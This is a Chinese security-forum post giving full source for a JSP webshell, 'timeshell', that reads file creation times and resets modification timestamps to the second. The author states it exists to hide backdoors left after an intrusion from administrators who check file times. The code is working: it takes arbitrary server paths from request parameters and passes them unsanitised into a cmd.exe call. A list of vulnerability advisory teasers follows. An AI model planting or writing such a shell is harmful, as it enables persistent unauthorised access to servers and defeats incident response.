JSP 修改文件时间的WEBSHELL

所属分类: 网络安全 / 漏洞分析 阅读数: 130
收藏 0 赞 0 分享
JSP 修改文件时间的WEBSHELL
很多网站的管理员通过查看文件的修改时间定位被入侵后流下的网马与后门,因此修改文件的创建与修改时间可以有效的预防后门的泄露。
昨天研究了下,JSP只提供了修改“文件修改时间”的接口,却没有提供修改“文件创建时间”的接口,因此貌似只能修改“文件修改时间 ”,kj021320的JSP SHELL有这个功能,不过只能修改年月日,而且昨晚我遇到的RESIN 2.1.9 运行不了kj021320的那个SHELL,于是决定自己写个小的shell!
主要功能:
1.文件的时间属性查看,包括修改时间与创建时间;
2.文件修改时间的修改,精确到秒;
代码如下:
(Apache Tomcat/6.0.18下运行通过!)

复制代码
代码如下:

<%@ page import="java.io.*" %>
<%@ page import="java.util.*, java.text.*" %>
<%@ page language="java" import="java.util.Enumeration" contentType="text/html; charset=GB2312"%>
<html>
<head>
<title>JSP timeshell by oldjun</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312"></head>
<body>
<H1>JSP timeshell by oldjun</H1>
<%!
public static String getFileCreateDate(File _file) {
File file = _file;
try {
Process ls_proc = Runtime.getRuntime().exec("cmd.exe /c dir \"" + file.getAbsolutePath() + "\" /tc");
BufferedReader br = new BufferedReader(new InputStreamReader(ls_proc.getInputStream()));
for (int i = 0; i < 5; i++) {
br.readLine();
}
String stuff = br.readLine();
StringTokenizer st = new StringTokenizer(stuff);
String dateC = st.nextToken();
String time = st.nextToken();
String datetime = dateC.concat(" "+time);
br.close();
return datetime;
} catch (Exception e) {
return null;
}
}
String folderReplace(String folder){
return folder.replace('\\','/');
}
%>
<%
String action = null;
if (request.getParameter("action") == null)
action = "main";
else
action = (String)request.getParameter("action");
if (action.equals("main")) {
%>
<form name= form1 method="post" action="?action=getinfo">
filepath:<input name="file" type="text" size="100" />
(for instance C:/Program Files/Apache Software Foundation/Tomcat 6.0/webapps/ROOT/time.jsp)

<input type="submit" name="Button" value="getinfo"/>
</form>
<%
}else if (action.equals("getinfo")) {
String filepath = folderReplace(request.getParameter("file"));
File file = new File(filepath);
if(!file.exists()){
out.println("<script lanugage=\"javascript\">alert(\"file:"+filepath+" not find!\");history.back();</script>");
}
%>
filepath:

<%=filepath%>

lastModifiedtime:

<%=new Date(file.lastModified())%>

Createtime:

<%
String Createtime=getFileCreateDate(file);
out.println(Createtime);
%>

now:

<%
Date myDate = new Date();
out.println(myDate.toLocaleString());
%>
<form name= form2 method="post" action="?action=change">
<input name="year" type="text" size="10"/>year
<input name="month" type="text" size="10"/>month
<input name="day" type="text" size="10"/>day
<input name="hour" type="text" size="10"/>hour
<input name="min" type="text" size="10"/>minute
<input name="sec" type="text" size="10"/>second
<input name="file" type="hidden" value="<%=filepath%>" />

<input type="submit" name="Button" value="change"/>
</form>
<%
}else if (action.equals("change")) {
String url="?action=main";
String filepath = folderReplace(request.getParameter("file"));
String year = request.getParameter("year");
String month = request.getParameter("month");
String day = request.getParameter("day");
String hour = request.getParameter("hour");
String min = request.getParameter("min");
String sec = request.getParameter("sec");
File file = new File(filepath);
Calendar calendar=Calendar.getInstance();
calendar.set(Integer.parseInt(year),Integer.parseInt(month),Integer.parseInt(day),Integer.parseInt(hour),Integer.parseInt(min),Integer.parseInt(sec));
if(file.setLastModified(calendar.getTimeInMillis()))
out.println("<script lanugage=\"javascript\">alert(\"file date change success!\");location.href=\""+url+"\";</script>");
else
out.println("<script lanugage=\"javascript\">alert(\"time error!\");history.back();</script>");
}
%>
</body>
</html>
更多精彩内容其他人还在看

AOL Radio MediaPlaybackControl 控件栈溢出漏洞

受影响系统: AOL AmpX.dll 2.6.1.11 不受影响系统: AOL AmpX.dll 2.6.2.6 描述: AOL的AmpX ActiveX控件是AOL Radio使用的用于播放网页中音频流的控件。 AmpX.dll所提供的
收藏 0 赞 0 分享

2007年12月网络安全漏洞总结

 声明:本十大安全漏洞由NSFOCUS安全小组根据安全漏洞的严重程度、影响范围等因素综合评出,仅供参考   1.2007-12-11 Microsoft消息队列服务栈溢出漏洞   综述:   Microsoft Windows是微软发布的非常流行的操
收藏 0 赞 0 分享

OmniPCX Enterprise存在远程命令注入漏洞

受影响系统: Alcatel-Lucent OmniPCX Enterprise <= 7.1 不受影响系统: Alcatel-Lucent OmniPCX Enterprise 7.1 patch F5.401.19 Alcatel-Luc
收藏 0 赞 0 分享

Sun Java jpiexp32.dll对象名称含空指针引用漏洞

受影响系统: Sun JRE < 5.0 Update 14 不受影响系统: Sun JRE 5.0 Update 14 描述: Solaris系统的Java运行时环境(JRE)为JAVA应用程序提供可靠的运行环境。 JRE处理畸
收藏 0 赞 0 分享

InterBase和Firebird远程栈缓冲区溢出漏洞

受影响系统: Borland InterBase WI-V8.1.0.257 Borland InterBase WI-V8.0.0.123 Borland InterBase WI-V7.5.1.80 Borland InterB
收藏 0 赞 0 分享

IE 存在document.open()方式地址欺骗漏洞

受影响系统: Microsoft Internet Explorer 7.0 Microsoft Internet Explorer 6.0 SP1 Microsoft Internet Explorer 6.0 Microsoft
收藏 0 赞 0 分享

Microsoft IE onunload事件地址栏欺骗漏洞

受影响系统: Microsoft Internet Explorer 7.0 Microsoft Internet Explorer 6.0 SP1 Microsoft Internet Explorer 6.0 Microsoft Internet Ex
收藏 0 赞 0 分享

F2blog XMLRPC 上传任意文件漏洞

刚从官方下载的最新版:F2blog-v1.2_build_03.01_full 存在漏洞文件:xmlrpc.php, 影响:可上传任意文件到服务器。 原理:get_http_raw_post_data()是获取最原始的传递过来的数据,也是说不会因为PHP环境的ma
收藏 0 赞 0 分享

FTP客户端目录遍历漏洞可向任意位置写文件

FFFTP是一款小型的FTP客户端软件。FFFTP客户端没有正确地验证FTP服务器所返回的LIST命令响应中包含有目录遍历序列(斜线)的文件名,如果用户受骗从恶意的FTP服务器下载的目录包含有带有恶意文件名的文件的话,就可能导致向用户系统的任意位置写入文件。 受影
收藏 0 赞 0 分享

Adobe Photoshop Album Starter Edition BMP图形头处理缓冲区溢出漏洞

受影响系统: Adobe Photoshop Album Starter Edition 3.2 描述: ---------------------------------------------------------------------------
收藏 0 赞 0 分享
查看更多